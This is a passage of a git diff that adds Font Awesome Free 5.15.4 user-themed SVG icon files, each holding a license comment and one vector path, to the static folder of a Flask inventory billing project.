@fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M633.8 458.1L389.6 269.3C433.8 244.7 464 198.1 464 144 464 64.5 399.5 0 320 0c-67.1 0-123 46.1-139 108.2L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM198.4 320C124.2 320 64 380.2 64 454.4v9.6c0 26.5 21.5 48 48 48h382.2L245.8 320h-47.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-alt.svg new file mode 100644 index 00000000..43ee7b36 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 288c79.5 0 144-64.5 144-144S335.5 0 256 0 112 64.5 112 144s64.5 144 144 144zm128 32h-55.1c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16H128C57.3 320 0 377.3 0 448v16c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-16c0-70.7-57.3-128-128-128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-astronaut.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-astronaut.svg new file mode 100644 index 00000000..9cfd2d9b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-astronaut.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M64 224h13.5c24.7 56.5 80.9 96 146.5 96s121.8-39.5 146.5-96H384c8.8 0 16-7.2 16-16v-96c0-8.8-7.2-16-16-16h-13.5C345.8 39.5 289.6 0 224 0S102.2 39.5 77.5 96H64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16zm40-88c0-22.1 21.5-40 48-40h144c26.5 0 48 17.9 48 40v24c0 53-43 96-96 96h-48c-53 0-96-43-96-96v-24zm72 72l12-36 36-12-36-12-12-36-12 36-36 12 36 12 12 36zm151.6 113.4C297.7 340.7 262.2 352 224 352s-73.7-11.3-103.6-30.6C52.9 328.5 0 385 0 454.4v9.6c0 26.5 21.5 48 48 48h80v-64c0-17.7 14.3-32 32-32h128c17.7 0 32 14.3 32 32v64h80c26.5 0 48-21.5 48-48v-9.6c0-69.4-52.9-125.9-120.4-133zM272 448c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-96 0c-8.8 0-16 7.2-16 16v48h32v-48c0-8.8-7.2-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-check.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-check.svg new file mode 100644 index 00000000..5a8f74b5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-check.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4zm323-128.4l-27.8-28.1c-4.6-4.7-12.1-4.7-16.8-.1l-104.8 104-45.5-45.8c-4.6-4.7-12.1-4.7-16.8-.1l-28.1 27.9c-4.7 4.6-4.7 12.1-.1 16.8l81.7 82.3c4.6 4.7 12.1 4.7 16.8.1l141.3-140.2c4.6-4.7 4.7-12.2.1-16.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-circle.svg new file mode 100644 index 00000000..382e765b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-clock.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-clock.svg new file mode 100644 index 00000000..086434d9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-clock.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 224c-79.6 0-144 64.4-144 144s64.4 144 144 144 144-64.4 144-144-64.4-144-144-144zm64 150.3c0 5.3-4.4 9.7-9.7 9.7h-60.6c-5.3 0-9.7-4.4-9.7-9.7v-76.6c0-5.3 4.4-9.7 9.7-9.7h12.6c5.3 0 9.7 4.4 9.7 9.7V352h38.3c5.3 0 9.7 4.4 9.7 9.7v12.6zM320 368c0-27.8 6.7-54.1 18.2-77.5-8-1.5-16.2-2.5-24.6-2.5h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h347.1c-45.3-31.9-75.1-84.5-75.1-144zm-96-112c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-cog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-cog.svg new file mode 100644 index 00000000..0e8f0586 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-cog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M610.5 373.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 400.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm201.2 226.5c-2.3-1.2-4.6-2.6-6.8-3.9l-7.9 4.6c-6 3.4-12.8 5.3-19.6 5.3-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-5.5-17.7 1.9-36.4 17.9-45.7l7.9-4.6c-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-16-9.2-23.4-28-17.9-45.7.9-2.9 2.2-5.8 3.2-8.7-3.8-.3-7.5-1.2-11.4-1.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c10.1 0 19.5-3.2 27.2-8.5-1.2-3.8-2-7.7-2-11.8v-9.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-edit.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-edit.svg new file mode 100644 index 00000000..6f4d888a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-edit.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h274.9c-2.4-6.8-3.4-14-2.6-21.3l6.8-60.9 1.2-11.1 7.9-7.9 77.3-77.3c-24.5-27.7-60-45.5-99.9-45.5zm45.3 145.3l-6.8 61c-1.1 10.2 7.5 18.8 17.6 17.6l60.9-6.8 137.9-137.9-71.7-71.7-137.9 137.8zM633 268.9L595.1 231c-9.3-9.3-24.5-9.3-33.8 0l-37.8 37.8-4.1 4.1 71.8 71.7 41.8-41.8c9.3-9.4 9.3-24.5 0-33.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-friends.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-friends.svg new file mode 100644 index 00000000..f293acbb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-friends.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 256c61.9 0 112-50.1 112-112S253.9 32 192 32 80 82.1 80 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C51.6 288 0 339.6 0 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zM480 256c53 0 96-43 96-96s-43-96-96-96-96 43-96 96 43 96 96 96zm48 32h-3.8c-13.9 4.8-28.6 8-44.2 8s-30.3-3.2-44.2-8H432c-20.4 0-39.2 5.9-55.7 15.4 24.4 26.3 39.7 61.2 39.7 99.8v38.4c0 2.2-.5 4.3-.6 6.4H592c26.5 0 48-21.5 48-48 0-61.9-50.1-112-112-112z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-graduate.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-graduate.svg new file mode 100644 index 00000000..e4725643 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-graduate.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M319.4 320.6L224 416l-95.4-95.4C57.1 323.7 0 382.2 0 454.4v9.6c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-9.6c0-72.2-57.1-130.7-128.6-133.8zM13.6 79.8l6.4 1.5v58.4c-7 4.2-12 11.5-12 20.3 0 8.4 4.6 15.4 11.1 19.7L3.5 242c-1.7 6.9 2.1 14 7.6 14h41.8c5.5 0 9.3-7.1 7.6-14l-15.6-62.3C51.4 175.4 56 168.4 56 160c0-8.8-5-16.1-12-20.3V87.1l66 15.9c-8.6 17.2-14 36.4-14 57 0 70.7 57.3 128 128 128s128-57.3 128-128c0-20.6-5.3-39.8-14-57l96.3-23.2c18.2-4.4 18.2-27.1 0-31.5l-190.4-46c-13-3.1-26.7-3.1-39.7 0L13.6 48.2c-18.1 4.4-18.1 27.2 0 31.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-injured.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-injured.svg new file mode 100644 index 00000000..c8e60f36 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-injured.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M277.37 11.98C261.08 4.47 243.11 0 224 0c-53.69 0-99.5 33.13-118.51 80h81.19l90.69-68.02zM342.51 80c-7.9-19.47-20.67-36.2-36.49-49.52L239.99 80h102.52zM224 256c70.69 0 128-57.31 128-128 0-5.48-.95-10.7-1.61-16H97.61c-.67 5.3-1.61 10.52-1.61 16 0 70.69 57.31 128 128 128zM80 299.7V512h128.26l-98.45-221.52A132.835 132.835 0 0 0 80 299.7zM0 464c0 26.51 21.49 48 48 48V320.24C18.88 344.89 0 381.26 0 422.4V464zm256-48h-55.38l42.67 96H256c26.47 0 48-21.53 48-48s-21.53-48-48-48zm57.6-128h-16.71c-22.24 10.18-46.88 16-72.89 16s-50.65-5.82-72.89-16h-7.37l42.67 96H256c44.11 0 80 35.89 80 80 0 18.08-6.26 34.59-16.41 48H400c26.51 0 48-21.49 48-48v-41.6c0-74.23-60.17-134.4-134.4-134.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-lock.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-lock.svg new file mode 100644 index 00000000..9181b71f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-lock.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 256A128 128 0 1 0 96 128a128 128 0 0 0 128 128zm96 64a63.08 63.08 0 0 1 8.1-30.5c-4.8-.5-9.5-1.5-14.5-1.5h-16.7a174.08 174.08 0 0 1-145.8 0h-16.7A134.43 134.43 0 0 0 0 422.4V464a48 48 0 0 0 48 48h280.9a63.54 63.54 0 0 1-8.9-32zm288-32h-32v-80a80 80 0 0 0-160 0v80h-32a32 32 0 0 0-32 32v160a32 32 0 0 0 32 32h224a32 32 0 0 0 32-32V320a32 32 0 0 0-32-32zM496 432a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm32-144h-64v-80a32 32 0 0 1 64 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-md.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-md.svg new file mode 100644 index 00000000..2c8c3a0b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-md.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zM104 424c0 13.3 10.7 24 24 24s24-10.7 24-24-10.7-24-24-24-24 10.7-24 24zm216-135.4v49c36.5 7.4 64 39.8 64 78.4v41.7c0 7.6-5.4 14.2-12.9 15.7l-32.2 6.4c-4.3.9-8.5-1.9-9.4-6.3l-3.1-15.7c-.9-4.3 1.9-8.6 6.3-9.4l19.3-3.9V416c0-62.8-96-65.1-96 1.9v26.7l19.3 3.9c4.3.9 7.1 5.1 6.3 9.4l-3.1 15.7c-.9 4.3-5.1 7.1-9.4 6.3l-31.2-4.2c-7.9-1.1-13.8-7.8-13.8-15.9V416c0-38.6 27.5-70.9 64-78.4v-45.2c-2.2.7-4.4 1.1-6.6 1.9-18 6.3-37.3 9.8-57.4 9.8s-39.4-3.5-57.4-9.8c-7.4-2.6-14.9-4.2-22.6-5.2v81.6c23.1 6.9 40 28.1 40 53.4 0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.3 16.9-46.5 40-53.4v-80.4C48.5 301 0 355.8 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-72-56.8-130.3-128-133.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-minus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-minus.svg new file mode 100644 index 00000000..1eb030d3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-minus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 208H432c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h192c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-ninja.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-ninja.svg new file mode 100644 index 00000000..ed64f0b6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-ninja.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M325.4 289.2L224 390.6 122.6 289.2C54 295.3 0 352.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-70.2-54-127.1-122.6-133.2zM32 192c27.3 0 51.8-11.5 69.2-29.7 15.1 53.9 64 93.7 122.8 93.7 70.7 0 128-57.3 128-128S294.7 0 224 0c-50.4 0-93.6 29.4-114.5 71.8C92.1 47.8 64 32 32 32c0 33.4 17.1 62.8 43.1 80-26 17.2-43.1 46.6-43.1 80zm144-96h96c17.7 0 32 14.3 32 32H144c0-17.7 14.3-32 32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-nurse.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-nurse.svg new file mode 100644 index 00000000..6f63232c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-nurse.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M319.41,320,224,415.39,128.59,320C57.1,323.1,0,381.6,0,453.79A58.21,58.21,0,0,0,58.21,512H389.79A58.21,58.21,0,0,0,448,453.79C448,381.6,390.9,323.1,319.41,320ZM224,304A128,128,0,0,0,352,176V65.82a32,32,0,0,0-20.76-30L246.47,4.07a64,64,0,0,0-44.94,0L116.76,35.86A32,32,0,0,0,96,65.82V176A128,128,0,0,0,224,304ZM184,71.67a5,5,0,0,1,5-5h21.67V45a5,5,0,0,1,5-5h16.66a5,5,0,0,1,5,5V66.67H259a5,5,0,0,1,5,5V88.33a5,5,0,0,1-5,5H237.33V115a5,5,0,0,1-5,5H215.67a5,5,0,0,1-5-5V93.33H189a5,5,0,0,1-5-5ZM144,160H304v16a80,80,0,0,1-160,0Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-plus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-plus.svg new file mode 100644 index 00000000..4c79099a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-plus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 208h-64v-64c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v64h-64c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h64v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-64h64c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-secret.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-secret.svg new file mode 100644 index 00000000..a3ae24d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-secret.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M383.9 308.3l23.9-62.6c4-10.5-3.7-21.7-15-21.7h-58.5c11-18.9 17.8-40.6 17.8-64v-.3c39.2-7.8 64-19.1 64-31.7 0-13.3-27.3-25.1-70.1-33-9.2-32.8-27-65.8-40.6-82.8-9.5-11.9-25.9-15.6-39.5-8.8l-27.6 13.8c-9 4.5-19.6 4.5-28.6 0L182.1 3.4c-13.6-6.8-30-3.1-39.5 8.8-13.5 17-31.4 50-40.6 82.8-42.7 7.9-70 19.7-70 33 0 12.6 24.8 23.9 64 31.7v.3c0 23.4 6.8 45.1 17.8 64H56.3c-11.5 0-19.2 11.7-14.7 22.3l25.8 60.2C27.3 329.8 0 372.7 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-48.4-25.8-90.4-64.1-114.1zM176 480l-41.6-192 49.6 32 24 40-32 120zm96 0l-32-120 24-40 49.6-32L272 480zm41.7-298.5c-3.9 11.9-7 24.6-16.5 33.4-10.1 9.3-48 22.4-64-25-2.8-8.4-15.4-8.4-18.3 0-17 50.2-56 32.4-64 25-9.5-8.8-12.7-21.5-16.5-33.4-.8-2.5-6.3-5.7-6.3-5.8v-10.8c28.3 3.6 61 5.8 96 5.8s67.7-2.1 96-5.8v10.8c-.1.1-5.6 3.2-6.4 5.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-shield.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-shield.svg new file mode 100644 index 00000000..ba1d3f16 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-shield.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M622.3 271.1l-115.2-45c-4.1-1.6-12.6-3.7-22.2 0l-115.2 45c-10.7 4.2-17.7 14-17.7 24.9 0 111.6 68.7 188.8 132.9 213.9 9.6 3.7 18 1.6 22.2 0C558.4 489.9 640 420.5 640 296c0-10.9-7-20.7-17.7-24.9zM496 462.4V273.3l95.5 37.3c-5.6 87.1-60.9 135.4-95.5 151.8zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm96 40c0-2.5.8-4.8 1.1-7.2-2.5-.1-4.9-.8-7.5-.8h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c6.8 0 13.3-1.5 19.2-4-54-42.9-99.2-116.7-99.2-212z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-slash.svg new file mode 100644 index 00000000..670d1579 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M633.8 458.1L362.3 248.3C412.1 230.7 448 183.8 448 128 448 57.3 390.7 0 320 0c-67.1 0-121.5 51.8-126.9 117.4L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM96 422.4V464c0 26.5 21.5 48 48 48h350.2L207.4 290.3C144.2 301.3 96 356 96 422.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using 